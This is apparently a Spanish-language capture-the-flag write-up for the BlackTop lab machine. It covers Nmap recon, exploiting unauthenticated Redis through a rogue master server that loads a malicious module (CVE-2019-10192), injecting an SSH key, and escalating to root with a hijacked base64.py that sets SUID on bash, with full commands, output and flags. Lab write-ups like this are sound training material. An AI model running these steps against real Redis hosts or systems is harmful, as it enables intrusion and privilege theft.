BlackTop
Plataforma: Bugthrive
Dificultad: Easy
🔗 Link de la máquina: https://bugthrive.com
Reconocimiento
Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.
sudo nmap -p- -sS -sCV --min-rate 5000 -Pn -n -oN blacktop.txt 172.18.179.190
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 13:23 -0300
Nmap scan report for 172.18.179.190
Host is up (1.00s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 (protocol 2.0)
| ssh-hostkey:
| 3072 9f:35:6b:ad:65:e9:00:30:62:00:0b:69:9e:33:0e:2e (RSA)
| 256 5a:56:55:d3:fd:9c:af:b4:7c:69:0a:f8:cd:84:87:c1 (ECDSA)
|_ 256 9c:f9:b3:7b:1d:7d:77:cb:65:6a:f7:d1:15:7f:90:cf (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Blacktop Portal
|_http-server-header: nginx/1.18.0 (Ubuntu)
6379/tcp open redis Redis key-value store 5.0.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.20 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN blacktop.txt: Guarda los resultados en el archivo “blacktop.txt”.
Puertos descubiertos:
| Puerto | Servicio | Detalle |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.2p1 |
| 80/tcp | HTTP | nginx 1.18.0 — Blacktop Portal |
| 6379/tcp | Redis | Redis 5.0.5 |
El hallazgo más relevante es Redis 5.0.5 expuesto directamente en el puerto 6379. Redis no debería ser accesible públicamente y es común encontrarlo sin autenticación, lo que puede abrir múltiples vectores de ataque.
Agregamos el dominio al /etc/hosts:
echo "172.18.179.190 blacktop.bt" | sudo tee -a /etc/hosts
Enumeración
Puerto 80 — Blacktop Portal

El portal muestra un Feedback System con input sin sanitizar, un System Status (Web Service: running, Auth Service: unstable, Debug Mode: enabled) y al desplazarse hacia abajo, Developer Notes:

TODO: sanitize user input before productionAdmin panel authentication pendingSession management needs improvementDebug mode still enabled
La navegación expone páginas adicionales. La pestaña Reports muestra reportes restringidos y un botón de exportación CSV:

La pestaña Admin presenta un prompt de username:

La pestaña API documenta endpoints con autenticación Bearer:

Revisando el JavaScript de la aplicación:
// Fake dev variables (rabbit hole, but harmless)
const DEBUG_MODE = true;
const API_TOKEN = "dev-token-98765";
// Feedback handler (INTENTIONAL XSS)
output.innerHTML += "<p>" + msg + "</p>";
// Console bait
console.log("API token:", API_TOKEN);
El comentario // Fake dev variables y // INTENTIONAL XSS confirman que todo el sitio web es un rabbit hole: el XSS es client-side, el token es falso, la API retorna 404, y el panel admin es JavaScript puro sin backend.
Puerto 6379 — Redis
redis-cli -h 172.18.179.190 ping
PONG
Redis responde sin autenticación. Enumeramos la configuración:
redis-cli -h 172.18.179.190 info server
redis-cli -h 172.18.179.190 config get dir
redis-cli -h 172.18.179.190 config get dbfilename
redis_version:5.0.5
os:Linux 6.17.0-1013-aws x86_64
dir: /tmp
dbfilename: dump.rdb
Verificamos qué directorios son accesibles para escritura:
for dir in /var/lib/redis /home/redis /home/david /root /tmp /var/www/html; do
result=$(redis-cli -h 172.18.179.190 config set dir $dir 2>&1)
echo "$dir -> $result"
done
/var/lib/redis -> OK
/home/redis -> ERR Changing directory: No such file or directory
/home/david -> OK
/root -> ERR Changing directory: Permission denied
/tmp -> OK
/var/www/html -> OK
/home/david es accesible, lo que revela que el usuario del sistema se llama david y Redis corre con sus permisos. No puede acceder a /root, confirmando que no corre como root.
Explotación
Redis Rogue Server — CVE-2019-10192
Las técnicas clásicas de Redis (webshell, cron, SSH key injection) fallan por distintas razones:
- El webroot real no sirve PHP
- El directorio
/etc/cron.describe en formato RDB binario que los parsers de cron rechazan - El directorio
/var/lib/redis/.sshno existe y Redis no puede crear directorios
La solución es el ataque Redis Rogue Server: forzamos al Redis víctima a replicar desde un master malicioso bajo nuestro control, que le envía un RDB con un módulo .so embebido. El módulo registra el comando system.exec que permite ejecutar comandos arbitrarios.
Compilación del módulo
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make
El make inicial falla con errores de includes faltantes en module.c (strlen, strcat, inet_addr). Lo corregimos con:
sed -i '/#include <netinet\/in.h>/a #include <string.h>\n#include <arpa\/inet.h>' src/module.c && make
La compilación finaliza con warnings (no errores) y genera module.so.
Ejecución del ataque
Antes de lanzar el Rogue Server, nos aseguramos de que el directorio de Redis apunte a /tmp:
redis-cli -h 172.18.179.190 config set dir /tmp
Clonamos redis-rogue-server (implementación más robusta que redis-rce):
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server
El script tiene un bug de encoding — intenta decodificar datos binarios como gb18030. Lo parcheamos:
sed -i "s/decode('gb18030')/decode('latin-1')/g" redis-rogue-server.py
Lanzamos el ataque:
python3 redis-rogue-server.py --rhost 172.18.179.190 --lhost 10.200.0.82 --exp ../RedisModules-ExecuteCommand/module.so
[info] TARGET 172.18.179.190:6379
[info] SERVER 10.200.0.82:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] id
[>>] uid=1000(david) gid=1000(david) groups=1000(david)

El módulo cargó correctamente. Tenemos RCE como david.
Inyección de clave SSH
Desde la shell interactiva obtenemos la user flag y preparamos el acceso SSH:
[<<] cat /home/david/user.txt
[>>] BUGTHRIVE{r3d15_rc3_70_55h_pwn3d_762346}
[<<] mkdir -p /home/david/.ssh && chmod 700 /home/david/.ssh
[<<] echo 'ssh-rsa AAAA...NUESTRA_CLAVE_PUBLICA...' > /home/david/.ssh/authorized_keys
[<<] chmod 600 /home/david/.ssh/authorized_keys
Generamos el par de claves en nuestra máquina:
ssh-keygen -t rsa -b 2048 -f blacktop_key -N ""
Acceso SSH — Usuario david
ssh -i blacktop_key david@172.18.179.190

david@daa882def760:~$ id
uid=1000(david) gid=1000(david) groups=1000(david)

david@daa882def760:~$ cat ~/user.txt
BUGTHRIVE{r3d15_rc3_70_55h_pwn3d_762346}
Escalada de Privilegios
Enumeración del sistema
Revisamos tareas programadas para identificar procesos que corran como root:
cat /etc/crontab
cat /etc/cron.d/*
/etc/crontab solo tiene los jobs del sistema. El job relevante está en /etc/cron.d/blacktop:
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root /usr/bin/python3 /home/david/script.py
Un cron job ejecuta /home/david/script.py como root cada minuto. Revisamos el script:
cat /home/david/script.py
#!/usr/bin/env python3
import sys
sys.path.insert(0, "/home/david/.local/lib/python3.8/site-packages")
import base64
import os
try:
open('/tmp/dummy.log', 'wb').write(b"test")
log_file = open('/tmp/dummy.log', 'rb')
data = base64.b64encode(log_file.read())
except:
pass
Python Library Hijacking
El script inserta /home/david/.local/lib/python3.8/site-packages al principio del sys.path antes de importar base64. Esto significa que cuando root ejecute el script, Python buscará base64 primero en ese directorio, que está bajo nuestro control.
El directorio .local ya existe en el home de david. Creamos la ruta completa y escribimos el base64.py malicioso:
mkdir -p /home/david/.local/lib/python3.8/site-packages
echo 'import os; os.system("chmod u+s /bin/bash")' > /home/david/.local/lib/python3.8/site-packages/base64.py
Esperamos a que el cron se ejecute (máximo 1 minuto) y verificamos:
david@daa882def760:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
/bin/bash tiene el bit SUID activo. Ejecutamos con -p para preservar el euid:
david@daa882def760:~$ bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1000(david) gid=1000(david) euid=0(root) groups=1000(david)

Root Flag
bash-5.0# cd /root
bash-5.0# cat root.txt
root{pyth0n_m0dul3_h1j4ck_r00t_98234}

Máquina BlackTop de Bugthrive completada exitosamente.